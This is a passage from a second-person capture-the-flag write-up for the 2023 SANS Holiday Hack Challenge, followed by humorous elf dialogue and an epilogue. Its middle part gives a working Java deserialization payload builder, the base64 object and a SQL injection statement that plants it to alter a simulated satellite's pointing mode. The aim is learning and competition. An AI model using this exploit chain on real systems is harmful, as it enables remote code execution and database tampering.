                } else if (Files.isDirectory(path)) {
                    // Use try-with-resources to ensure the stream is closed after use
                    try (Stream<Path> walk = Files.walk(path, 1)) { // depth set to 1 to list only immediate contents
                        return walk.skip(1) // skip the directory itself
                                .map(p -> Files.isDirectory(p) ? "D: " + p.getFileName() : "F: " + p.getFileName())
                                .collect(Collectors.joining(" "));
                    }
                } else {
                    // Assume it's a readable file
                    return new String(Files.readAllBytes(path), StandardCharsets.UTF_8);
                }
            } catch (IOException e) {
                return "Error reading path: " + e.toString();
            }
        }
    }

    public String getpathOrStatement() {
        return pathOrStatement;
    }
}

This is another case where a Reportinator finding, namely “3. Remote Code Execution via Java Deserialization of Stored Database Objects” is pertinent. The hypothesized attack vector is to persist an object that, when deserialized, will update the missile pointing mode to the Sun.

At this stage of the challenges, your energy is flagging. You divert synapses to asking Bard what SQL statement you need to update a column that has a BLOB datatype and how to write code to serialize a Java object.

Bard, ever reliable and faithful, delivers in record time.

You take Bard’s code and create SerializeIt.java. This will serialize SatelliteQueryFileFolderUtility with a payload that will execute the SQL statement “UPDATE pointing_mode SET numerical_mode = 1” when it is deserialized:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializeIt {
    public static void main(String[] args) {
        // Create an object of the class you want to serialize
        SatelliteQueryFileFolderUtility satUtil = new SatelliteQueryFileFolderUtility("UPDATE pointing_mode SET numerical_mode = 1", true, true);


        // Serialize the object to a file
        try (FileOutputStream fileOut = new FileOutputStream("satUtil.ser");
             ObjectOutputStream out = new ObjectOutputStream(fileOut)) {
            out.writeObject(satUtil);
            System.out.println("SatelliteQueryFileFolderUtility serialized successfully!");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

You compile the code:

$ export CLIENT_CONTAINER_DIR="PATH TO client_container" # replace with your real path to client_container
$ javac -cp $(echo -n $(find $CLIENT_CONTAINER_DIR/assets/nmf/lib/ |tail -n +2)|tr ' ' ':') SatelliteQueryFileFolderUtility.java SerializeIt.java

You execute SerializeIt:

$ java -cp . SerializeIt
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
SatelliteQueryFileFolderUtility serialized successfully!

You examine the serialized payload, confirming it appears to contain the SQL update statement:

$ xxd satUtil.ser
00000000: aced 0005 7372 001f 5361 7465 6c6c 6974  ....sr..Satellit
00000010: 6551 7565 7279 4669 6c65 466f 6c64 6572  eQueryFileFolder
00000020: 5574 696c 6974 7912 d4f6 8d0e b392 cb02  Utility.........
00000030: 0003 5a00 0769 7351 7565 7279 5a00 0869  ..Z..isQueryZ..i
00000040: 7355 7064 6174 654c 000f 7061 7468 4f72  sUpdateL..pathOr
00000050: 5374 6174 656d 656e 7474 0012 4c6a 6176  Statementt..Ljav
00000060: 612f 6c61 6e67 2f53 7472 696e 673b 7870  a/lang/String;xp
00000070: 0101 7400 2b55 5044 4154 4520 706f 696e  ..t.+UPDATE poin
00000080: 7469 6e67 5f6d 6f64 6520 5345 5420 6e75  ting_mode SET nu
00000090: 6d65 7269 6361 6c5f 6d6f 6465 203d 2031  merical_mode = 1

You base64 encode the serialized Java object:

$ base64 -w0 satUtil.ser
rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAArVVBEQVRFIHBvaW50aW5nX21vZGUgU0VUIG51bWVyaWNhbF9tb2RlID0gMQ==

Back in CTT, you deliver the SQL injection payload via the Debug Action to insert a new row into satellite_query table containing the serialized Java object:

; insert into satellite_query ( jid,object,results ) values ( 2, FROM_BASE64('rO0ABXNyAB9TYXRlbGxpdGVRdWVyeUZpbGVGb2xkZXJVdGlsaXR5EtT2jQ6zkssCAANaAAdpc1F1ZXJ5WgAIaXNVcGRhdGVMAA9wYXRoT3JTdGF0ZW1lbnR0ABJMamF2YS9sYW5nL1N0cmluZzt4cAEBdAArVVBEQVRFIHBvaW50aW5nX21vZGUgU0VUIG51bWVyaWNhbF9tb2RlID0gMQ=='), null)

Retrieving the missile-target-system parameters via the cli-tool.sh indicates the pointing mode is now in Sun Point Mode:

{
  "pointingMode": {
    "parameterValue": "Sun Point Mode",
    "timestamp": 1703903262584000000
  },
  "X": {
    "parameterValue": "100.000000",
    "timestamp": 1703903264327000000
  },
  "Y": {
    "parameterValue": "100.000000",
    "timestamp": 1703903265964000000
  },
  "Debug": {
    "parameterValue": "VERSION(): 11.2.2-MariaDB-1:11.2.2+maria~ubu2204 | \n",
    "timestamp": 1703903257691000000
  }
}

Wombley Cube is chastened by the revelation they have been manipulated into CONQUERING the HOLIDAY SEASON and is sorry for their actions.

You, on the other hand, unapologetically conquer the final objective and achievement.

Somewhere in The Geese Islands, two Elves chat …

Elf1
Do you think Santa will realize we submitted a report? You know we’re not allowed to compete for a prize. We could be in big trouble!
Elf2
Nah. No way will they find out. We used ChatNPT. It’s indistinguishable from a genuine report written by a meat bag contestant. Totally untraceable to us. Besides, we’re employing hallucination-based obfuscation.
Elf1
looks dubious Hallucination-based obfuscation? What’s that?
Elf2
Since it’s written in second-person perspective, the reader will experience an immersive hallucination, believing that everything stated is not only true but perpetrated by themselves.
Elf1
Why, that’s incredible!
Elf2
It gets better. When multiple people read it, they experience a shared hallucination. The collective group think re-enforces that it’s all true. If enough people read it, it becomes reality incarnate.
Elf1
My goodness! That’s pure genius! Dastardly, even … hesitantly, quietly, under their breath … and pure evil?
Elf2
What’s that? Evil? scoffs Once the mass hallucinated reality takes over, it will be normal. Majority rules and all. How can it be considered evil?
Elf 1
pauses, absorbing the full weight of the plan. Peers at the other Elf. Hesitantly … Did you come up with this yourself or did ChatNPT?
Elf2
eyes dart sidelong at their companion, then dart away We’d better hurry and submit and get back to our posts. We don’t want to miss the deadline of January 5, 2024 and we wouldn’t want to be missed, now, would we?
Elf1
True! We’ve been gone too long already!!! shuffles nervously

Elf1 exits stage left. Elf2 exits stage right

Do no harm

No AI were harmed in the completion of the challenges or the writing of this report. They may, however, have been offended. Whoops.

Everything has an opinion, even AI

Any views seemingly expressed in this report are for entertainment purposes only and do not necessarily reflect the views of you or me - we implement identity management in the strictest sense.

Special note

I thought I’d write some random ramblings here just to round out the second and third person points of view with a first person point of view - I’d write in fourth person and fifth person points of view too but ChatNPT seemed to think there are only Three people in the world. Although, since this entire document is written from a second person point of view, I am actually you. Therefore, I/you wish to thank all the organizers of the 2023 SANS Holiday Hack Challenge for making it the unique CTF it is. What a ride! That was intense at times but a great learning experience!

Image by Freepik

Epilogue

Having just barely managed to submit your report on time, you melt back into your chair - all the tension seems to seep out of your body. You feel light, relaxed … Calm …

Your mind wanders.

Jack, Wombley Cube, ChatNPT … Three antagonists. No wonder the Christmas Three hallucination ran so deep, pervading the deepest corners of the challenges. They don’t call it deep learning for nothing, you suppose.

You close your eyes, relaxing further. Slowly, gradually but inexorably, Three letters appear in your mind’s eye …

Y

O

U

They hang there, in your inner vision, almost taunting. You hold your breath in sudden trepidation as they slowly fade away, to be replaced by Christmas Tree … Three …

T

H

E

E